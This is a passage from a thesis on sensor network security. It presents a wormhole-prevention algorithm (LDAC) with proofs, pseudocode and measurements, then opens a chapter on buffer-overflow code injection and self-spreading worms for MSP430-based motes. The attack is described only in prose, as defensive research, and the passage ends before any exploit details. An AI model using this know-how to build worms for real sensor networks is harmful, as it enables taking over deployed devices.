in (143, 144) make use of guard nodes that attest the source of each transmission. However, these

techniques either make location claims or use special purpose hardware making these approaches

impractical.

An interesting approach to date is the work presented by Maheshwari et al. (145) which looks

for forbidden structures in the underlying connectivity graph. This is based on the observation that

inside a lune (intersection of nodes u and v in Figure 5.3) we can place at most two other nodes

x and y so that they are not neighbors of each other. This is easy to see since if we place three
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nodes, two of them will have to be in either the upper or the lower half of the lune. But then their

distance will be smaller than the communication radius and they will be neighbors of each other.

Thus, in general, three 2-hop neighbors cannot be the common neighbors of two other nodes u and

v. For example, in Figure 5.2, nodes 1, 3 and 5 cannot possibly be neighbors of (say) 20 and 23.

While this is a nice, localized approach that uses connectivity information to detect a wormhole,

it suffers from a number of shortcomings. First, it does not always guarantee detection since

existence of three 2-hop neighbors lying in the common intersection area of two others is dependent

on the density of the network. The technique will probably fail when the average neighborhood

size is low. To alleviate this problem one may look for similar forbidden substructures of size fk

among k-hop neighbors of u and v. Unfortunately, there are two issues with this approach.The first

one is that the forbidden substructure is really an independent set of the set of common 2k-hop

neighbors C2k(u, v), a known NP-complete problem. Of course one may try to find a maximal

independent set in C2k(u, v) and try to compare it with fk. If the size of the independent set is

equal or greater than fk then an alarm can be raised. However, the value of fk, for k > 1, cannot

be estimated that easily. For example, for k = 2 (2-hop case) this number is as big as 19 (145).

Unless the node density is extremely high, it is unlikely that one will be able to find that many

common independent 2-hop neighbors in order to detect the attack.

5.4 System Model and Assumptions

5.4.1 Network Model & Communication

In our model, a WSN consists of a set S = {s1, s2, ..., sn} of n sensor nodes. Sensor nodes are

considered neighbors when the distance between them is shorter than some range r. For any sensor

node s, the set of neighboring nodes is denoted by N(s). In our model we do not require the nodes to

be equipped with any specialized hardware such as GPS, or follow any tight clock synchronization

scheme. Additionally, we place no restrictions on the network topology (static or dynamic) or the

distribution of nodes. Our first assumption concerns neighborhood information and is denoted by

SMA-1 (for System Model Assumption):

SMA-1 All sensors run some neighbor discovery routine, as part of their routing protocol, and

they can record their neighbor IDs. Thus every node knows its k-hop neighborhood, where k

is a small number, typically 1 or 2.

The above assumption is light and realistic, considering the case of sensor networks with un-

reliable wireless links and frequent connctivity changes. Furthermore, a lot of research in such

networks has been conducted based on the 2-hop neighborhood knowledge, covering areas from
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energy consumption efficiency (146, 147) to intrusion detection (Chapter 3). In any case, as we

will see shortly and discuss further in Section 5.7, even if SMA-1 does not hold, no wormholes can

be allowed in the network.

5.4.2 Attacker Model

This model considers an adversary that can (i) be a legitimate party, and (ii) mount a “stealthy

wormhole attack”. By stealthiness we highlight the attacker’s main intention in misleading the ND

protocol. She tries to fool benign nodes into accepting remote network nodes, that do not reside

in their transmission range, as neighbors. There are radio transceivers installed at both wormhole

endpoints, and packets that are received at one end can be sent to and re-transmitted at the other

end. Below is what we have assumed to better model the wormhole attack.

AMA-1 In this work, we consider only attacks in which the wormhole link is long enough so that

regions A and B are well separated from each other (141, 148). In particular, we will assume

that the real shortest path distance between the two wormhole regions is bigger than 2k hops,

where k (usually 1 or 2) denotes the k-hop neighborhood structure known to nodes.

If the transmission range of the wormhole transceivers is short, the impact of the attack on

the networks connectivity graph is negligible since only a small fraction of the nodes is affected.

Thus it makes no sense to have overlapping endpoints or endpoints close to each other (see also

Section 5.7). We place no restrictions on what an adversary can do with packets that carry neigh-

borhood information. She can drop these packets, however, even in this case, no wormholes can be

allowed in the network.

AMA-2 There is some initial interval t∆ where no attack has taken place and nodes have safely

established their neighborhood information.

This assumption simply says that there must be some initial interval where the network is safe

in order for the algorithm to guarantee prevention of wormhole attacks from that time on. The

fact that ND is the first step performed upon deployment, requiring a very small amount of time,

justifies the logic behind this assumption. An adversary would risk detection if she attempted to

set up a wormhole link before the network is deployed. Furthermore, this is a standard assumption

in many of the works in this area (141, 142, 143, 145, 148, 149) and more general in works where

some sort of security infrastructure has to be bootstrapped.
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5.5 Localized Wormhole Detection and Prevention

Our approach, called “Localized-Decentralized Algorithm for Countering Wormholes” (LDAC),

implements a novel, yet simple protocol to effectively prevent wormholes. The protocol is strictly

localized and looks only at the connectivity information as implied by the underlying communication

graph. It can be applied on demand when the existence (or not) of a neighbor relationship needs to

be verified by looking at simple “substructures” that indicate that no attack is taking place. This

has some interesting consequences.

• First, these structures are the same in all graphs, in all communication models1. Thus our

approach is applicable even when the communication model is unknown or the network is

deployed in an ad-hoc manner.

• Second, in the case of an attack, the algorithm always prevents the attack.

• Third, our algorithm “fails safe”; in the unlikely case where this desired property is not met,

the algorithm treats suspicious nodes as participating in an attack. Thus, no wormhole can

ever be established. This is in contrast with other proposals where wormhole detection cannot

be guaranteed in all cases.

• Finally, as we will see in Section 5.6, the algorithm is very easy to be implemented, even in

resource constrained devices such as sensor nodes.

To understand the workings of the algorithm, let’s assume that up to time t ≥ t∆ the network

is “safe” (i.e. no wormholes have occurred – Assumption AMA-2) and nodes know each other’s

k-neighborhoods (Assumption SMA-1).

At some time t′ > t a number of neighboring nodes in a set U = {u1, u2, . . .} overhear some

packets transmitted that include the IDs of new nodes in a set V = {v1, uv, . . .}. These packets

may or may not be the result of a wormhole attack. For example, they may be newly added nodes

or simply nodes that awoke from a sleeping phase and participate in the workings of the underlying

routing protocol. Or in the case of wormhole attack (Figure 5.1), they may be retransmissions of

packets from one area to another. We call the nodes in V suspected nodes.

Each node in u ∈ U must determine for each node v ∈ V whether it should include v in its

neighborhood structure. These are potential new neighbors of u although they may be discarded

if the LDAC Path Existence test, presented later on, is inconclusive.

1Provided of course that sensor nodes have comparable radio ranges.
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5.5.1 LDAC Path Existence Test for Wormhole Prevention

The localized test run by each node u ∈ U for each node v ∈ V is to determine whether a small

path (of length no more than 2k) exists that connects u to v but in a way that excludes all suspect

nodes. This is possible since u also knows the k-hop neighbors of v. For an illustration when k = 2

(Figure 5.4) this is done by considering whether u and v have a common neighbor lying in their

intersection or two neighbors x and y, respectively, that are either directly connected to each other

or have a common 1-hop neighbor z. In the more general case, x and y can either be directly

connected or have a common (k − 1)-hop neighbor. This alternative path, if it exists, will be an

attestation that no wormhole link exists and u can safely add v in its neighborhood list. Otherwise

v is deleted from the neighborhood of u. This is captured by the following theorem:

Theorem 1. In case of a wormhole attack, the LDAC Path Existence Test prevents a wormhole
link from being established. If no attack is taking place, the algorithm allows new nodes to be part
of the network with high probability.

Proof. To build some intuition why the theorem might be true notice that if there is a wormhole
link as in Figure 5.1, no small path of length ≤ 4 can ever exist between a node in B (say 23)
and a node in A (say 3) when 2-hop neighborhoods are known and all suspect nodes are excluded.
On the other hand, if such a path is found, these nodes have to be physically close to each other
(Assumption AMA-1 on distance of wormhole points).

The need to exclude suspect nodes arises from the fact that these may already be part of the
wormhole link. For example, in Figure 5.2 nodes 1, 2, 3, 4 and 5 in area A will be the potential
(suspect) neighbors of nodes in area B. Consider now the case where node 23 must decide whether to
include node 3 in its neighborhood list. Since 2-hop neighborhoods are known to both (Assumption
SMA-1), node 23 itself will check whether it is connected by a small path to 3. For example it can
check whether nodes 8 or 9 are included in its neighborhood list (4 is excluded from this test since
it is still suspect) or it can check whether one of his 1-hop neighbors (21, 22, 24, 25, 26) is connected,
directly or through a 1-hop path, to one of the 1-hop neighbors of 3. If this is true, an alternative
path has been established between these two nodes and node 23 can permanently include node 3
in its neighborhood list, provided of course that neighborhoods are valid (Assumption AMA-2).
Notice that in all tests suspect nodes are excluded from consideration. By this we don’t mean that
nodes must have agreed on a suspect list, only that they can use nodes that already exist in their
neighborhood structures. For a formal proof we will consider two cases: i) the case of an actual
wormhole attack, and ii) the case of legitimate addition of new nodes.

Case 1 : Let u ∈ U be a node wishing to test whether some suspect node v ∈ V should be
included in its neighborhood list. Let D > 2k be the real shortest path distance between u and v

in the network (assumption AMA-1 on separation of wormhole endpoints). Let also Nk(v) denote
the set of valid k-hop neighbors of v also known to u (Assumption AMA-2), and let Su(V ) denote
the nodes suspected by u from the set V . We place no restriction on the suspect set, so neither all
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Figure 5.4: Existence of short paths
implies absence of wormhole links.

Figure 5.5: Contradiction argument for Short Path Exis-
tence Theorem.

nodes in U may suspect the same set of nodes, nor they have to agree on a common suspect list
which would raise synchronization issues.

Consider Figure 5.5 showing the set of k-hop neighbors of u on the right and the suspect node
v on the left. Since u will check for the existence of a path between u and v of length no more than
2k, the only way such a path can exist is if the path at some point utilizes the wormhole link and
two nodes u′ and v′ that are at most k hops away from u and v, respectively. If the path from v

uses only nodes in Su(V ), u will easily reject such a path. The problem arises when the path uses
nodes not in Su(V ). There are two cases here to consider.

The first case is when the path consists of nodes outside V . But in this case u will reject all
these paths since their length is at least D and they can never reach u in at most 2k hops. The
second case is when the path uses a mix of nodes that either belong to V or not. In such a case all
these paths must end with some node v′ ∈ V − Su(V ). The path from v′ will utilize the wormhole
link and will try to close the loop using some k-hop neighbor u′ of u. There are two cases again to
consider. Either v′ ∈ Su′(V ) or not.

In the first case, u′ overheard a packet containing the ID of v′ and placed v′ in a quarantine
(suspect list). But then it cannot have moved v′ in its neighborhood list unless it had performed
a “small path” test with v′. Thus u will never be fooled in accepting v′ as a legitimate neighbor
of u′ since it always has up-to-date information regarding the neighborhood structure of u′. In the
second case, u′ never heard anything about v′ so it definitely does not have v′ in its neighbors list.
Thus again u will reject the path. In summary, no wormhole can be established between the sets
U and V .

Case 2 : Consider now the benign case where no attack takes place (V may be a set of newly
added nodes). Referring to Figure 5.4, node u will attempt to establish a small path with v,
excluding the suspect nodes. This can happen in a straightforward way and we leave the detailed
description for Section 5.5.3.

We need to point out, however, that the algorithm may fail to find short paths1 and as a result
1Either because of lack of common neighbors with v or because some neighborhood updates were lost.
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treat these nodes as part of a wormhole attack. This is an instance of the “safe failure” principle

we highlighted in the beginning of this section. We opted for preventing a wormhole link from being

established when an attack is taking place at the expense of not allowing some legitimate nodes to

be part of the network when no attack occurs. However, as we will demonstrate probabilistically in

the next section and verify experimentally in Section 5.6, the probability of this happening is very

small even for low density networks.

5.5.2 Short Path Existence Theorem - Probabilistic Analysis

We will now argue about the existence of small paths between two nodes u and v. We model the

topology of the WSN by a random geometric graph which can be constructed as follows: we throw

n nodes uniformly at random onto the surface of a unit square and we connect all nodes within

distance r of each other. An edge (ui, uj) in the geometric graph corresponds to a communication

link between sensors i and j. The analysis will be performed in terms of the following quantities

(that are either given or easily derived):

• the number of sensors in the field, n;

• the communication range, r;

• the probability p that two random nodes u and v are neighbors;

• the average density d of the graph, i.e. the expected number of neighbors of a given node.

In what follows, we will express all results in terms of d. If u is a node with range r in the unit

square, the probability p that another node v is a neighbor of u is given by the quantity p = πr2.

Thus the expected number of neighbors d of u is equal to d = (n − 1)p ≈ np = nπr2, for large

enough n.

5.5.2.1 The case of a non-empty intersection

Referring to Figure 5.4, we want to upper bound the probability that no path exists between u and

v when 2-hop neighborhoods are known.

Let A0 denote the event that u and v have no common neighbor and A1 denote the event that

there are no x ∈ N(u) and y ∈ N(v) such that x, y are direct neighbors of each other or have a

common 1-hop neighbor z. Clearly,

Pr[No small path between u and v] = Pr[A0 ∧A1]

= Pr[A1 | A0] Pr[A0]

< Pr[A0]
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Figure 5.6: Size of intersection between
two nodes at distance αr.
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Figure 5.7: Probability that u and v have at least one
common neighbor.

Thus a path will exist between u and v with probability at least 1−Pr[A0]. In what follows we

will upper bound Pr[A0].

To calculate Pr[A0], we refer to Figure 5.6 which shows two nodes (u, v) at distance αr from

each other, where 0 ≤ α ≤ 1 so that u and v are neighbors. To calculate Pr[A0] we need first to

estimate the area of intersection I(α) between u and v and then compute the probability that I(α)

is empty of other nodes. Using standard geometric arguments that we omit here, we find that the

area of intersection is given by

I(α) = r2(2 arccos(α/2)− α
√

1− α2/4). (5.1)

This expression, however, is still not very useful in computing the probability that no randomly

thrown node lands in I(α) since the distance αr between the circles of u and r is unknown. So,

now we will compute the expected intersection between two neighboring nodes (u, v) and use this

to calculate the required probability.

Let x = αr be the distance between the centers of u and v. The probability distribution

function F (x) of the distance x is given by F (x) = Pr[distance < x] = x2/r2. The probability

density function is thus f(x) = F ′(x) = 2x/r2. The expected intersection, E[I], is then given by:

E[I] =
∫ r

x=0
I(x)f(x)dx

= 2r2

∫ 1

α=0
(2α arccos(α/2)− α2

√
1− α2/4)da

= r2

[
2α2 arccos(

α

2
) + 2 arcsin(

α

2
)− α

√
1− α2/4− 1

2
α3

√
1− α2/4

]1

0

= r2(π − 3
√

3/4)
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= 0.58πr2, (5.2)

which is also equal to the probability pI that a random node lands in this region. Thus, given u

and v, Pr[A0] is given by

Pr[A0] = (1− pI)(n−2)

≈ e−npI

= e−0.58nπr2

= e−0.58d, (5.3)

where d is the average network density. Thus the probability of the existence of a common node

between u and v is at least 1− e−0.58d. This probability is very high even for low density networks,

as demonstrated in Figure 5.7 (more than 94% when d = 5 and more than 99% when d = 10). And

as we will see in the experimental section, this probability increases even further when we consider

paths between 1-hop neighbors of u and 1-hop neighbors of v.

5.5.3 Detailed Description of LDAC Algorithm

We will now present in more details the LDAC wormhole prevention algorithm described in the

previous sections. It is strictly localized and, therefore, only nodes affected by a change in the

neighborhood topology (i.e., “hearing” of a new node) need to run it. Each node u, upon discovery

of a new suspect node v, searches for small paths using its k-hop neighborhood knowledge. While

the algorithm may run for general k-hop detection, our simulation studies (Section 5.6) showed

that k ≤ 2 is sufficient for various densities of a network.

The code of LDAC is given in Algorithm 4. We will refer to the set of suspected nodes of

each node u, as SuspectList(u). A node v is labeled as suspect when it is the first time we hear

from it and we want to perform the “Short Path Existence” test described in Section 5.5.1. As we

mentioned above, the output of this test indicates whether this suspect node is legitimate (and can

be safely added to the neighborhood list of u) or might be the result of a wormhole in progress.

Each node u maintains the list of 2-hop neighbors N2(u). LDAC performs the path existence

test for all nodes v ∈ SuspectList(u). The test consists of three steps, each of which is activated

upon failure of the previous one.

ImmediatePath(u, v): This step tries to identify a direct path between the testing pair [u, v].

It works by having the active node u check if at least one of v’s neighbors is included in its

neighborhood list. This is possible since u also knows the 1-hop neighbors of v. In order to perform

this check, u traverses both it’s own and v’s neighborhood lists. Thus, the time needed is O(d2).
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Algorithm 4: The LDAC Algorithm
Data: SuspectList(u) and k -hop Neighborhood Information of u where k = 1, 2
Result: For each node vi in SuspectList(u), output whether vi is legitimate or not
begin

for every vi in SuspectList(u) do
vi ³ NOT legitimate;
/** Look for small path between [u, vi] */
if [ImmediatePath(u, vi)] ∨ [1-HopPath(u, vi)] ∨ [2-HopPath(u, vi)] then

vi ³ legitimate; /** A path has been found */
end
i++;
continue with next node vi in SuspectList(u);

end
end

1-HopPath(u, v): Active node u checks whether one of its 1-hop neighbors is directly connected

to one of the 1-hop neighbors of v. This requires node u to traverse the neighborhood lists of all its

1-hop neighbors and check if at least one of v’s neighbors is included. This takes time O(d3), where

d is the average density of the network. Looking back at Figure 5.4, this is done by considering

whether u and v have two neighbors x and y, respectively, that are directly connected.

2-HopPath(u, v): In this last step node u checks whether one of its 1-hop neighbors shares a

common neighbor with one of the 1-hop neighbors of v. Thus, the time needed is of order O(d4).

Following Figure 5.4, this is done by considering whether u and v have two neighbors x and y,

respectively, that have a common 1-hop neighbor z. This alternative path, if it exists, will be an

attestation that v is a legitimate node. Otherwise, node u can conclude with very high probability

that “hearing” v is the result of a wormhole, without the need of checking the existence of k-hop

paths for k > 2.

5.6 Performance Evaluation

In this section, we evaluate various aspects of the performance of LDAC. The experiments were

deployed both in a simulator and a real sensor environment. Results from the actual implementation

of LDAC provide strong evidence as to the feasibility and practicality of the proposed approach.

Three properties are of special interest: i) Implementation overhead, ii) Detection Time, and iii)

Path Existence Percentage.
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5.6.1 Implementation Overhead

Here we discuss the overhead resulting from the implementation of the LDAC protocol on real

sensor devices. The current development of LDAC builds on Moteiv Telos motes (Figure 2.2).

We start with the memory footprint, an important measure of LDAC’s feasibility and usefulness

on memory constrained sensor nodes. Table 5.1 lists the memory requirements of the necessary

modules.

Table 5.1: Size of the compiled code, in bytes

Module RAM usage Code Size
Neighborhood Discovery 136 968
LDAC 104 766
Total 240 1734

The Neighborhood Discovery module is the one responsible for creating a node’s k-hop neighbor-

hood (k = 1, 2). The LDAC module contains all the necessary methods described in Section 5.5.3.

As we can see, in total, the algorithm consumes 240 bytes of RAM and 1734 bytes of code memory.

This leaves enough space in the mote’s memory for user applications and other protocols. For

example, the total RAM available in Telos motes is 10 KB whereas the capacity of ROM is 40 KB.

5.6.2 Detection Time

Next we measured the time each step of LDAC Path Existence test required. Figure 5.8 (a) shows

the measured mean times for each of the three tests, for different network densities. The immediate

and 1-hop path checks which cover more than 95% of the cases, as we will show in the next section,

conclude in less than 1 second (around 100ms and 550ms, respectively). The most time consuming

step is the 2-hop test. However, as we will explain later on, it will rarely need to be executed and

it can even be dropped entirely.

We have to note that this experiment was conducted with nodes maintaining their neighbors

in a typical list that is not sorted or pre-processed in any way. However, as Figure 5.8 (b) shows,

having neighbor lists sorted by node IDs significantly decreases the detection time of LDAC’s steps,

and in particular that of the 2-hop test. In any case, the time of LDAC is very small, fulfilling the

need of immediate response in case of a wormhole in progress. As the algorithm will run in nodes

affected by a neighborhood topology change (something that may occur frequently enough), it is

important that the completion time is as small as possible. Dropping the 2-hop test entirely does

not significantly affect the success probability while at the same time it decreases the running time
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Figure 5.8: Running time of LDAC algorithm for different network densities. (a) Node IDs are
randomly placed in a neighborhood list (b) Neighborhood list is kept sorted

considerably. In such case there is no need to resort in sorted neighborhoods or other data structures

to speedup computation, however, we leave this decision open to the particular implementation.

5.6.3 Simulation Results

In order to evaluate our wormhole detection algorithm, we tested its success in finding small paths

between a pair of nodes [u, v]. We generated random network topologies by placing 500 nodes

uniformly at random with an average density d varying between 4 and 15. To ensure statistical

validity, we repeated each experiment 1000 times and averaged the results. Once a topology was

created, we started randomly adding new nodes in the network. This triggered the surrounding

nodes to run the LDAC Path Existence test in order to conclude on their legitimacy. In order to

achieve real scenario simulations, we had to take into consideration possible missed route updates

or incomplete neighborhood information. Thus, we used a variable -beta- which indicated the

percentage of a node’s neighbors that were excluded during the path existence test. In other

words, beta is a fraction of u’s neighbors that are not taken into account when u is trying to find

a small path with v. These “excluded nodes” were selected at random from u’s neighborhood, for

increasing values of beta.

Figure 5.9 depicts the path existence percentage between a pair of nodes (u, v). In particular,

we broke it down to the existence of an immediate path (1st step of LDAC Path Existence test),

1-hop path (2nd step), and 2-hop path (3rd step). As we can see, our algorithm provides very good

results even for low densities and when a large number of u’s neighbors is excluded. In general the

following observations can be made by the simulation results:
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Figure 5.9: Path Existence percentage between a pair of nodes (u, v) when a fraction, beta, of u’s
neighbors are excluded from the LDAC algorithm. (a) beta = 0% (b) beta = 10% (c) beta = 20% (d)
beta = 40% (e) beta = 60% (f) beta = 80%

• LDAC provides very good results (almost 100% success in finding a small path) despite the

network density (Figure 5.9 (a)).

• The more expensive 1-hop and 2-hop path tests rarely need to be executed since in most

of the cases the immediate path test is sufficient. This results in faster detection. Also, it

loosens the need of the 2-hop neighborhood maintenance (Assumption SMA-1).

• Detection probability does drop for large beta, but only for low density cases. However, in

such cases, the usefulness of the network also drops. Even when beta = 80% (Figure 5.9 (f))

the detection percentage is almost 100% for densities d ≥ 7. Thus, one may reside only in

the 1-hop test to increase the success probability. The usefulness of the 2-hop test seems to

be questionable since even for large beta (80%) its contribution remains small. This suggests

that the 2-hop test can be dropped entirely.

In summary, our proposed algorithm allows legitimate node addition with high probability even

for low density networks. In such networks, one can adjust the local path existence test to just
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consider 1-hop neighborhoods and perform only the first check (for more discussion see Section 5.7).

Furthermore, since the algorithm does not progress to the next test unless the previous one has

failed, in more than 95% of the cases LDAC will conclude after the first check, keeping the overall

test time relatively small.

5.7 Discussion and Critique

In this work we proposed a method that identifies and prevents wormhole attacks. Key to the

method is the observation that in the case of an attack, no real path of just a few hops will ever

exist between the wormhole endpoints (Section 5.4.2, Assumption AMA-1) since otherwise it would

not be possible to distinguish between real and fake short paths. It is, however, a very realistic

assumption since the point of the attack is to make a distant node appear closer to a point of

interest (say the base station) and attract as much traffic as possible (79, 150). Decreasing the

radius of the wormhole, will also decrease the effect of the attack on the network in terms of the

numbers of sensors that use the wormhole link (141).

Of course an attacker can still try to fool the algorithm by establishing many smaller wormholes

that are connected in a series but this has two shortcomings. First, it takes a lot of time, effort

and hardware which will increase the risks of detection. Second, it can be defeated easily by our

method if we just consider 1-hop neighborhoods (k = 1). In this case no wormhole link of length

bigger than 2 can ever be established while, as demonstrated in Figure 5.9, addition of legitimate

nodes can occur with high probability even for small density networks.

For the same reason, assumption SMA-1 may also be weakened by maintaining only 1-hop

neighborhoods among nodes, a typical procedure for any routing protocol. In practice well con-

nected networks have node densities bigger than 7 or 8 in which case the overhead of maintaining

2-hop neighborhoods does not offer any significant advantage over the 1-hop case (Figure 5.9).

Our only important assumption is that there is some initial interval where the nodes have safely

established their neighborhood information (Assumption AMA-2). This is a standard assumption

made in many of the works in this area (141, 142, 143, 145, 148, 149) but also in works where a

security infrastructure has to be established.

We should mention that one way our method could be defeated is if the attacker has compro-

mised a few nodes in the neighborhood of the wormhole endpoints in which case the compromised

nodes may “lie” about their true neighbors. This combined attack, however, is not a wormhole

attack anymore. All cited results consider the attack in which an adversary simply forwards mes-

sages from one part of the network to another. This combined attack, however, is an interesting

future direction that we are planning to pursue further.
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5.8 Conclusions

The wormhole attack is one of the most serious attacks that threatens the security and stability of

wireless sensor networks. Additionally, as we described in Section 5.2, wormholes are considered

the main disruptor of neighbor discovery protocols. In fact, many networking mechanisms and

operations rely on accurate neighborhood discovery. Consequently, protecting such networks from

wormhole attacks and ensuring secure neighborhood creation is an extremely important issue.

In this chapter, we studied the problem of wormhole detection and identified the most well

known countermeasures that can be classified into four groups: centralized, decentralized, additional

hardware, and connectivity and neighborhood-based approaches. We presented their behavior along

with their strengths and shortcomings. More importantly, however, we proposed a novel detection

algorithm, called LDAC, based on the observation that no real path of just a few hops will ever exist

between the wormhole endpoints. Our algorithm can be incorporated in any distributed intrusion

detection system and since its functionality doesn’t assume communication between the hosted

agents, we can safely argue that it will successfully keep operating even in the extreme case of an

adversary attacking the IDS itself.

We investigated the effectiveness of our proposed algorithm both analytically and experimen-

tally. Our results have confirmed that it can always prevent a wormhole, while at the same time

it allows legitimate node addition with high probability, even for low density networks. We believe

that this algorithm will have a practical use in real-world deployments and can be considered as a

reference point for further investigation of more attractive solutions against wormhole attacks since

it does not require any specialized hardware, tight clock synchronization, or distance measurements

between the nodes.
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Chapter 6

Software Attacks against WSNs:
Malicious Code Injection

6.1 Introduction

Sensor networks hold the potential to significantly transform the way that computing affects life.

In order to reach this potential, however, security must be achieved. In the first part of this thesis,

we concentrated on the study and design of distributed security algorithms for sensor networks

that prevent the attacker from accessing the information routed within. We extensively studied

the problem of detecting the attacker when the prevention measures cannot succeed and we argued

that maximum security can only be ensured by designing an effective intrusion detection system as

a second layer of defense. Then we provided a cooperative ID framework and we expanded it with

novel detection algorithms that make legitimate nodes become aware of some of the most severe

routing attacks against sensor networks, namely the sinkhole and wormhole attacks.

The research of intrusion detection in sensor networks is still an active field. Up to now, however,

and to some extent, detection relies on known modes and methods of attacks. Besides protecting

the network from some well known threats, it is important that such mechanisms can withstand

attacks that have not been anticipated before. Hence, the challenge here is how can someone

explore new methods to detect attacks when the underlying network and protocol vulnerabilities

have not yet been identified. What loopholes can an adversary exploit in order to intrude the

network? There does not exist a full scope model of such threats.

The second part of this thesis, therefore, is to demonstrate how vulnerable, in terms of data

confidentiality and network availability, sensor networks are. The best way to do that is to look

into new threat models, how specific attacks can be realized in practice and study new methods

from the attacker’s point of view. This will set the scene for the development of the first instances

of sophisticated attack tools capable of launching various kinds of attacks for compromising the

network’s functionality. We believe that by studying the after-effects of various exploits on the
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network itself, we highlight the need for better design of security protocols that can make them

even more resilient to tools like the ones presented in Chapters 7 and 8.

Moving on to the darker side, we will explore a new set of memory related vulnerabilities for

sensor embedded devices that, if exploited, can lead to the execution of software-based attacks (82).

Software attacks are concerned with modifying the running code on a sensor platform or even

injecting malicious one (malware). Malware is defined as a software designed to execute attacks on

software systems and fulfill the harmful intents of an attacker. A well known example of this type

of attack is the buffer overflow attack.

In the following sections, we will demonstrate how to execute malware on wireless sensor nodes

that are based on the Von Neumann architecture. We achieve this by exploiting a buffer overflow

vulnerability to smash the call stack and intrude a remote node over the radio channel. By breaking

the malware into multiple packets, the attacker can inject arbitrarily long malicious code to the

node and completely take control of it. Then we proceed to show how the malware can be crafted

to become a self-replicating worm that broadcasts itself and infects the network in a hop-by-hop

manner. While this attack is extremely dangerous, there has been very little research in this area.

To the best of our knowledge, this is the first instance of a self-propagating worm that provides a

detailed analysis along with instructions in order to execute arbitrary malicious code. We expect

that our work will be particularly useful in sensor network research for showing the destructive

impacts of a sensor worm and highlighting the need to come up with efficient mechanisms to

counter such attacks.

6.1.1 Background on Malicious Code Injection in Sensor Devices

Recent advances in sensor networks research have shown that an attacker can exploit different mech-

anisms of sensor nodes and spread malicious code throughout the whole network without physical

contact. One such method for the attacker is to take advantage of the network programming ca-

pabilities of WSNs, which allow the dissemination of code updates through wireless links and the

reprogramming of nodes after deployment (151). Over-the-air programming (OAP) is a fundamen-

tal service in sensor networks that relies upon reliable broadcast for efficient code dissemination

and updates. However, such mechanisms have been secured recently, allowing the propagation of

only authenticated program images originating from the base station (71, 152, 153, 154, 155).

Another method for the attacker, as we mentioned before, is to exploit memory related vulner-

abilities, like buffer overflows, to launch a worm attack. Since all sensor nodes execute the same

program image, finding such a vulnerability can lead to the construction of self-propagating packets

that inject malicious code to their victims and transfer execution to that code. If the malware is
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constructed such as it resends itself to the neighbors of the node, the attacker can compromise the

whole network and quickly take complete control of it.

All previous work has concentrated on sensor devices following the Harvard architecture, in

which, even though it is possible to construct propagating malicious packets, an attacker cannot

directly inject and execute her own code inside the mote’s memory. This is due to the characteristics

of this architecture, since data and code segments are physically and logically separated not allowing

the execution of instruction injected in the data memory. Therefore, it is only possible to transfer

the program execution to already existed sequences of instructions present in the program memory.

But even then, the injection process suffers from code size and time limitations.

This is not true, however, for sensor devices following the Von Neumann architecture. According

to this architecture, both instructions and data are stored in the same memory space, allowing

the attacker to transfer execution control where the malicious packet is stored. This allows the

injection and execution of arbitrary code that does not necessarily exist in the mote’s memory.

Several of the most popular sensor node platforms today use microcontrollers that are based on the

Von Neumann architecture, like for example the Tmote Sky (Figure 2.2), Telos (6), EyesIFX (7),

ScatterWeb MSB-430 (8) or even the SHIMMER platform for medical applications (156). Hence,

it is important to show how vulnerable these platforms are against worm attacks and emphasize

the need for appropriate prevention measures.

6.1.2 Chapter Organization

The remainder of this chapter is organized as follows. First, we discuss related work in Section 6.2

and state our assumptions in Section 6.3. Then, Section 6.4 overviews the TI MSP430 architecture,

which is our example platform, while Sections 6.5, 6.6 and 6.7 provide the details of the code

injection attack. Section 6.8 describes how to build a worm so that the malware can be installed

in all nodes of the network. In Section 6.9, we present detailed performance measurements and in

Section 6.10, we discuss possible prevention measures. Finally, Section 6.11 concludes this chapter.

6.2 Related Work

Although exploitation of code injection attacks due to memory faults have been studied thoroughly

in computer systems (157, 158), only recently this has been applied to sensor networks as well.

Goodspeed first showed how to perform a buffer overflow attack on the MSP430 microcontroller in

order to execute instructions within a received packet (159, 160). The author noted that packets

in TinyOS are always stored at the same address in the data memory, so overwriting the program

counter (PC) with that address makes the execution of malicious code possible. Even though it
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Table 6.1: Comparison of code injection attacks

Property/Code injection Attack (159, 160) (161) (162) This Work

Arbitrary injection code size Partial No Partial Yes
Self-propagation No No Partial Yes
Attack does not rely on pre-existing code Yes No No Yes
Stealthiness (i.e., mote’s execution is not disrupted) N/A N/A No Yes
Efficiency Evaluation (i.e., propagation time) N/A N/A N/A Yes

was mentioned that injection of code of arbitrary length can be done through transmission of a

number of malicious packets, it was not shown how this can be achieved and more importantly how

the injected code can propagate itself.

Sensor devices following the Harvard architecture have also been studied with respect to code in-

jection in terms of how to invoke functions of already existing application code. Gu and Noorani (161)

showed that sensor applications are susceptible to control-data attacks that alter control flow to

utilize existing routines in order to propagate the injected packet further to the network. This

attack though does not disrupt the mote’s functionality, so the security threat is low.

Recently, Francillon and Castellucia (162) took a step further and showed how code injection

can be achieved in Harvard-based sensor devices. They demonstrated how an attacker can exploit

a program vulnerability in order to execute an instruction sequence, called a gadget, that already

exists in program memory. Through the execution of a gadget chain comprised of Injection and

Reprogramming meta-gadgets, they showed how a fake stack can be injected byte-to-byte into data

memory and used for reprogramming the sensor with a new program image.

However, only malware of size up to 256 bytes (one program image) can be injected using this

technique. Larger code needs to be split into program images which should be injected separately.

Thus, since the injection can only be done byte-to-byte, this requires an important amount of time

that may lead to possible detection of the attack in progress. In addition, the described attack is

disruptive meaning that each injection causes the sensor device to reset itself. This may, again,

expose the attack or even lead the mote to an unstable state where further execution of the malicious

code is prohibited. In our work, the attack is considered to be stealthy and not constrained by the

assumption of pre-existing gadgets. Instead, the attacker can inject arbitrarily long malware.

Finally, some additional research has been conducted examining the destructive effects of worm

attacks in several sensor applications. Davis (163) discussed how such attacker techniques severely

threaten today’s Smart Meter and Advanced Metering Infrastructure (AMI) technology that can

be used to measure, collect and analyze energy usage, from advanced devices such as electricity

meters, gas meters, etc. He identified some vulnerabilities and, then, created an in-flash rootkit
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which allowed him to assume full system control of all exposed Smart Meter capabilities. Also,

Goodspeed (164) talked about stack overflows and how they can be used to infiltrate security of

second generation Zigbee radio chips. These works can be thought as complementary to our own.

A comparison between the most important code injection attacks and the one described here is

shown in Table 6.1, although most of them target sensor devices featuring the Harvard architecture.

A “N/A” indication shows that a property cannot be directly deduced or that is not a part of the

proposed attack. A “Partial” characterization indicates that the corresponding property is not

entirely achieved.

6.3 System Model and Assumptions

Through out this work we assume a WSN that is homogeneous in both hardware and software.

All sensor nodes execute the same program image, as it is true for the majority of sensor networks

today. This means that if a vulnerability that the attacker can exploit for launching a code injection

